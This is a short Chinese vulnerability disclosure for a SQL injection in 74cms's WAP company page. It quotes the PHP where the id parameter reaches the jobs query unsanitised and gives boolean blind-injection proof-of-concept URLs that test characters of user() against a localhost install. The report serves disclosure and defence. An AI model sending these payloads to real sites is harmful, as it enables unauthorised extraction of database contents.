74cms一处注入

漏洞作者： SLAckEr

/wap/wap-company-show.php

define('IN_QISHI', true); require_once(dirname(__FILE__).'/../include/common.inc.php'); require_once(QISHI_ROOT_PATH.'include/fun_wap.php'); require_once(QISHI_ROOT_PATH.'include/mysql.class.php'); $smarty->cache = false; $db = new mysql($dbhost,$dbuser,$dbpass,$dbname); $smarty->assign('show',company_one($_GET['id'])); $smarty->assign('goback',$_SERVER["HTTP_REFERER"]); $smarty->display("wap/wap-company-show.html"); ?>

传递进来一个id，看一下company_one

/include/fun_wap.php

function company_one($id) {  global $db;  $wheresql=" WHERE id=".intval($id);  $sql = "select * from ".table('company_profile').$wheresql." LIMIT 1";  $val=$db->getone($sql);  $jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");  foreach ($jobslist as $key => $value) {   $jobslist[$key]['url'] = wap_url_rewrite("wap-jobs-show",array("id"=>$value['id']));  }  $val['jobslist'] = $jobslist;  return $val; }

虽然在wheresql这里做了过滤

$wheresql=" WHERE id=".intval($id);

但是下面

$jobslist = $db->getall("select * from ".table('jobs')." where `company_id`=".$id." limit 5");

却没有处理。

随便注册个号，访问一个发布了职位的企业，或者自己申请个企业的号，访问自己的主页

鼠标移到招聘职位的

地方，可以看到id

漏洞证明：

http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=114 返回正常，说明user()的第一个字符的ascii为114

http://127.0.0.1/74cms1104/wap/wap-company-show.php?id=1 and ascii(substring((user()),1,1))=1141 返回错误

盲注吧。